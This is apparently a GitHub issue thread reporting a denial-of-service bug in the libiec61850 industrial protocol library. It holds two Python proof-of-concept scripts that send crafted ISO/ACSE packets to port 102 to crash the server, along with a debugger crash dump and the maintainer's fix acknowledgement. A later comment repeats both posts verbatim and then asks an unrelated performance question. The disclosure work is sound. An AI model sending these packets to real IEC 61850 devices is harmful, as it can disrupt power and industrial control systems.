libiec61850 icon indicating copy to clipboard operation
libiec61850 copied to clipboard

Denial of Service caused by uninitialization pointer read

Open leommxj opened this issue 4 years ago • 4 comments

when AcseConnection_parseMessage function parse ACSE message, there is a path where the pointer to buffer not initialization, will cause a segment fault by reading 0 address and crash the server, the following is a simple POC code in python and some analysis

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 102))

payload =  b'\x03\x00\x00\x17' #tpkt header, version3 
payload += b'\x02\xf0\x80' # cotp header, DT Data
payload += b'\x0d\x0e' # SPDU type CONNECT 13,
payload += b'\xC1\x0c' # Session user data
payload += b'\x31\x0a' # CPtag 0x31
payload += b'\xff\x08'+b'\xbb'*0x8 # 0xff as a unknown tag which will not be parse
s.send(payload) # send payload 

because there is no normal-mode-parameter(0xa2), parseNormalModeParameters will not be called src/mms/iso_server/iso_connection.c:226 self->presentation->nextPayload will be null in the next AcseConnection_parseMessage function, acseBuffer will be null , then src/mms/iso_acse/acse.c:432 will try to read from 0.

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0xc
$rdx   : 0x0
$rsp   : 0x00007fffffffe160  →  0x0000555555870778  →  0x0000000000000000
$rbp   : 0x00007fffffffe1a0  →  0x00007fffffffe2f0  →  0x00007fffffffe320  →  0x00007fffffffe350  →  0x00007fffffffe370  →  0x00007fffffffe390  →  0x00007fffffffe3b0  →  0x00007fffffffe400
$rsi   : 0x0000555555870778  →  0x0000000000000000
$rdi   : 0x0000555555870790  →  0x0000000000000000
$rip   : 0x00005555555add8d  →  <AcseConnection_parseMessage+78> movzx eax, BYTE PTR [rax]
$r8    : 0x0
$r9    : 0x0
$r10   : 0x40
$r11   : 0x246
$r12   : 0x0000555555562f40  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe4e0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe160│+0x0000: 0x0000555555870778  →  0x0000000000000000    ← $rsp
0x00007fffffffe168│+0x0008: 0x0000555555870790  →  0x0000000000000000
0x00007fffffffe170│+0x0010: 0x00007fffffffe1a0  →  0x00007fffffffe2f0  →  0x00007fffffffe320  →  0x00007fffffffe350  →  0x00007fffffffe370  →  0x00007fffffffe390  →  0x00007fffffffe3b0
0x00007fffffffe178│+0x0018: 0xff315555555b0b55
0x00007fffffffe180│+0x0020: 0x0000000c00000008
0x00007fffffffe188│+0x0028: 0x0000000100000000
0x00007fffffffe190│+0x0030: 0x0000000000000000
0x00007fffffffe198│+0x0038: 0x773ed24e14015600
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555add83 <AcseConnection_parseMessage+68> movsxd rdx, eax
   0x5555555add86 <AcseConnection_parseMessage+71> mov    rax, QWORD PTR [rbp-0x10]
   0x5555555add8a <AcseConnection_parseMessage+75> add    rax, rdx
 → 0x5555555add8d <AcseConnection_parseMessage+78> movzx  eax, BYTE PTR [rax]
   0x5555555add90 <AcseConnection_parseMessage+81> mov    BYTE PTR [rbp-0x21], al
   0x5555555add93 <AcseConnection_parseMessage+84> mov    ecx, DWORD PTR [rbp-0x18]
   0x5555555add96 <AcseConnection_parseMessage+87> mov    edx, DWORD PTR [rbp-0x14]
   0x5555555add99 <AcseConnection_parseMessage+90> lea    rsi, [rbp-0x20]
   0x5555555add9d <AcseConnection_parseMessage+94> mov    rax, QWORD PTR [rbp-0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:src/mms/iso_acs[...].c+432 ────
    427
    428      int messageSize = message->size;
    429
    430      int bufPos = 0;
    431
             // buffer=0x00007fffffffe190  →  0x0000000000000000, bufPos=0x1
 →  432      uint8_t messageType = buffer[bufPos++];
    433
    434      int len;
    435
    436      bufPos = BerDecoder_decodeLength(buffer, &len, bufPos, messageSize);
    437
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server_example_", stopped 0x5555555add8d in AcseConnection_parseMessage (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555add8d → AcseConnection_parseMessage(self=0x555555870790, message=0x555555870778)
[#1] 0x5555555a5150 → IsoConnection_handleTcpConnection(self=0x55555584c8c0, isSingleThread=0x1)
[#2] 0x5555555a4460 → handleClientConnections(self=0x555555837f70)
[#3] 0x5555555a4716 → handleIsoConnections(self=0x555555837f70, isSingleThread=0x1)
[#4] 0x5555555a4a3d → IsoServer_processIncomingMessages(self=0x555555837f70)
[#5] 0x55555558146e → MmsServer_handleIncomingMessages(self=0x555555837880)
[#6] 0x55555557b6ef → IedServer_processIncomingData(self=0x5555557f0260)
[#7] 0x5555555634d6 → main(argc=0x1, argv=0x7fffffffe4e8)

I am not an expert in iec61850, in my opinion, may need to add some check before the read operation or restrict a valid message should have some necessary filed?

leommxj from Chaitin Security Research Lab

leommxj avatar Aug 21 '20 11:08 leommxj

Thanks for the detailed analysis. I added a check to fix it. Probably there are also more checks required for other missing fields.

mzillgith avatar Aug 25 '20 09:08 mzillgith

in parseNormalModeParameters, when it meets an unknown tag, it will add bufPos and continue parse, which could leave the buffer still not initialized. Below is python POC code.

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 102))

payload =  b'\x03\x00\x00\x17' #tpkt header, version3 
payload += b'\x02\xf0\x80' # cotp header, DT Data
payload += b'\x0d\x0e' # SPDU type CONNECT 13,
payload += b'\xC1\x0c' # Session user data
payload += b'\x31\x0a' # CPtag 0x31
payload += b'\xa2\x08'+b'\xff\x06' +b'\xbb'*6 # 0xa2 as a normal mode para, 0xff will be unknwon tag in parseNormalModeParameters
s.send(payload) # send payload , 

you may want to set the flag inside the parseNormalModeParameters function when the buffer is really initialized?

leommxj avatar Aug 27 '20 09:08 leommxj

in parseNormalModeParameters, when it meets an unknown tag, it will add bufPos and continue parse, which could leave the buffer still not initialized. Below is python POC code.

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 102))

payload =  b'\x03\x00\x00\x17' #tpkt header, version3 
payload += b'\x02\xf0\x80' # cotp header, DT Data
payload += b'\x0d\x0e' # SPDU type CONNECT 13,
payload += b'\xC1\x0c' # Session user data
payload += b'\x31\x0a' # CPtag 0x31
payload += b'\xa2\x08'+b'\xff\x06' +b'\xbb'*6 # 0xa2 as a normal mode para, 0xff will be unknwon tag in parseNormalModeParameters
s.send(payload) # send payload , 

you may want to set the flag inside the parseNormalModeParameters function when the buffer is really initialized?

when AcseConnection_parseMessage function parse ACSE message, there is a path where the pointer to buffer not initialization, will cause a segment fault by reading 0 address and crash the server, the following is a simple POC code in python and some analysis

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 102))

payload =  b'\x03\x00\x00\x17' #tpkt header, version3 
payload += b'\x02\xf0\x80' # cotp header, DT Data
payload += b'\x0d\x0e' # SPDU type CONNECT 13,
payload += b'\xC1\x0c' # Session user data
payload += b'\x31\x0a' # CPtag 0x31
payload += b'\xff\x08'+b'\xbb'*0x8 # 0xff as a unknown tag which will not be parse
s.send(payload) # send payload 

because there is no normal-mode-parameter(0xa2), parseNormalModeParameters will not be called src/mms/iso_server/iso_connection.c:226 self->presentation->nextPayload will be null in the next AcseConnection_parseMessage function, acseBuffer will be null , then src/mms/iso_acse/acse.c:432 will try to read from 0.

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0xc
$rdx   : 0x0
$rsp   : 0x00007fffffffe160  →  0x0000555555870778  →  0x0000000000000000
$rbp   : 0x00007fffffffe1a0  →  0x00007fffffffe2f0  →  0x00007fffffffe320  →  0x00007fffffffe350  →  0x00007fffffffe370  →  0x00007fffffffe390  →  0x00007fffffffe3b0  →  0x00007fffffffe400
$rsi   : 0x0000555555870778  →  0x0000000000000000
$rdi   : 0x0000555555870790  →  0x0000000000000000
$rip   : 0x00005555555add8d  →  <AcseConnection_parseMessage+78> movzx eax, BYTE PTR [rax]
$r8    : 0x0
$r9    : 0x0
$r10   : 0x40
$r11   : 0x246
$r12   : 0x0000555555562f40  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe4e0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe160│+0x0000: 0x0000555555870778  →  0x0000000000000000    ← $rsp
0x00007fffffffe168│+0x0008: 0x0000555555870790  →  0x0000000000000000
0x00007fffffffe170│+0x0010: 0x00007fffffffe1a0  →  0x00007fffffffe2f0  →  0x00007fffffffe320  →  0x00007fffffffe350  →  0x00007fffffffe370  →  0x00007fffffffe390  →  0x00007fffffffe3b0
0x00007fffffffe178│+0x0018: 0xff315555555b0b55
0x00007fffffffe180│+0x0020: 0x0000000c00000008
0x00007fffffffe188│+0x0028: 0x0000000100000000
0x00007fffffffe190│+0x0030: 0x0000000000000000
0x00007fffffffe198│+0x0038: 0x773ed24e14015600
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555add83 <AcseConnection_parseMessage+68> movsxd rdx, eax
   0x5555555add86 <AcseConnection_parseMessage+71> mov    rax, QWORD PTR [rbp-0x10]
   0x5555555add8a <AcseConnection_parseMessage+75> add    rax, rdx
 → 0x5555555add8d <AcseConnection_parseMessage+78> movzx  eax, BYTE PTR [rax]
   0x5555555add90 <AcseConnection_parseMessage+81> mov    BYTE PTR [rbp-0x21], al
   0x5555555add93 <AcseConnection_parseMessage+84> mov    ecx, DWORD PTR [rbp-0x18]
   0x5555555add96 <AcseConnection_parseMessage+87> mov    edx, DWORD PTR [rbp-0x14]
   0x5555555add99 <AcseConnection_parseMessage+90> lea    rsi, [rbp-0x20]
   0x5555555add9d <AcseConnection_parseMessage+94> mov    rax, QWORD PTR [rbp-0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:src/mms/iso_acs[...].c+432 ────
    427
    428      int messageSize = message->size;
    429
    430      int bufPos = 0;
    431
             // buffer=0x00007fffffffe190  →  0x0000000000000000, bufPos=0x1
 →  432      uint8_t messageType = buffer[bufPos++];
    433
    434      int len;
    435
    436      bufPos = BerDecoder_decodeLength(buffer, &len, bufPos, messageSize);
    437
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "server_example_", stopped 0x5555555add8d in AcseConnection_parseMessage (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555add8d → AcseConnection_parseMessage(self=0x555555870790, message=0x555555870778)
[#1] 0x5555555a5150 → IsoConnection_handleTcpConnection(self=0x55555584c8c0, isSingleThread=0x1)
[#2] 0x5555555a4460 → handleClientConnections(self=0x555555837f70)
[#3] 0x5555555a4716 → handleIsoConnections(self=0x555555837f70, isSingleThread=0x1)
[#4] 0x5555555a4a3d → IsoServer_processIncomingMessages(self=0x555555837f70)
[#5] 0x55555558146e → MmsServer_handleIncomingMessages(self=0x555555837880)
[#6] 0x55555557b6ef → IedServer_processIncomingData(self=0x5555557f0260)
[#7] 0x5555555634d6 → main(argc=0x1, argv=0x7fffffffe4e8)

I am not an expert in iec61850, in my opinion, may need to add some check before the read operation or restrict a valid message should have some necessary filed?

leommxj from Chaitin Security Research Lab

Hi I need help from you I'm reading parameters from IEC61850 device with python for reading value ,timestamp and quality it is taking 25 milliseconds when I'm reading 30 parameters 25×30 this soo much time can you help me to reduce time, any solution to read parameters with less time

Saleem344 avatar Aug 29 '20 18:08 Saleem344

@mzillgith

leommxj avatar Sep 06 '20 20:09 leommxj